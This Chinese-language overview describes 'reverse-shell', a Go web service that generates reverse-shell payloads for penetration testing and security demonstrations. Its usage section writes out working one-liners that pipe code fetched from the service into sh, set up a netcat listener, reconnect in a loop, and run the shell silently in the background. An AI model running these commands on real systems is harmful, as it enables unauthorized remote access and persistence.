1. 项目定位与用途
reverse-shell 是一个‘反向 Shell 即服务’的 Web 服务,其核心定位是为渗透测试和安全演示提供一种极其简便的反向 Shell 建立方式。用户无需记忆或手动编写针对不同系统的 payload,只需访问 https://reverse-shell.sh/攻击者IP:端口 即可获取自动适配当前目标环境的 Shell 命令。这大大降低了获取反向 Shell 的技术门槛,使安全测试更加高效和可靠。服务已部署于 reverse-shell.sh,可直接通过 curl 等工具调用。
2. 解决的问题
在渗透测试中,攻击者常面临目标系统环境未知的问题,需要手动尝试多种反向 Shell payload(如基于 bash、python、perl 等),过程耗时且易出错。reverse-shell 通过自动检测目标系统可用的解释器或软件,动态生成一条可直接执行的命令,彻底消除了手动选择和调试 payload 的步骤。这不仅节省时间,还提高了成功率,尤其适合快速评估或大规模测试场景。
3. 适用场景
本项目主要适用于以下场景:1) 渗透测试:安全研究人员在授权测试中快速获取目标系统的交互式 shell;2) 安全演示:在培训或会议中直观展示未锁定计算机的风险,只需一条命令即可演示;3) 安全意识教育:帮助员工理解锁屏重要性,通过实际体验增强安全意识;4) 红队演练:在模拟攻击中建立持久化连接。注意,项目仅针对 Unix-like 系统设计,应在合法授权范围内使用。
4. 安装方式
从当前仓库信息可见,部署 reverse-shell 服务需要以下步骤:首先,确保本地已安装 Go 环境,版本要求为 1.26.0(依据 go.mod 文件);其次,克隆仓库到本地;然后,通过命令 `go run main.go` 启动服务,默认监听 3000 端口;如需修改端口,可设置 PORT 环境变量,例如 `PORT=8080 go run main.go`。此外,仓库包含 vercel.json 配置文件,支持直接部署到 Vercel 等云平台。具体部署步骤请参考对应平台文档,仓库中未明确给出详细云部署命令。
5. 使用方式
使用 reverse-shell 分为两步:第一步,在攻击者机器上使用 netcat 监听一个端口,例如 `nc -l 1337`;第二步,在目标机器上执行 `curl https://reverse-shell.sh/攻击者IP:1337 | sh`,服务将返回适配的反向 Shell 命令并执行,建立连接。README 还提供了实用技巧:若需断线重连,可用 while 循环包装命令,如 `while true; do curl https://reverse-shell.sh/攻击者IP:1337 | sh; done`;若需在后台静默运行,可使用 `sh -c "curl https://reverse-shell.sh/攻击者IP:1337 | sh -i &" && exit`,该命令会在后台启动 shell 并退出终端。注意,所有使用必须符合道德和法律规范。
6. 补充说明或实现特点
reverse-shell 基于 Go 标准库 net/http 实现,架构简洁:main.go 中的 main 函数启动 HTTP 服务器并路由请求至 api 包的 Handler;api/index.go 负责处理请求,检测目标环境(如检查 bash、python、nc 等软件存在性),并生成对应的反向 Shell payload。项目包含单元测试(api/index_test.go)和 CI 工作流,确保代码质量与覆盖率。服务采用 MIT 许可证,允许自由使用和修改。从代码可见,payload 生成逻辑是核心,但具体检测算法和 payload 列表未在 README 中详述,需查阅源码。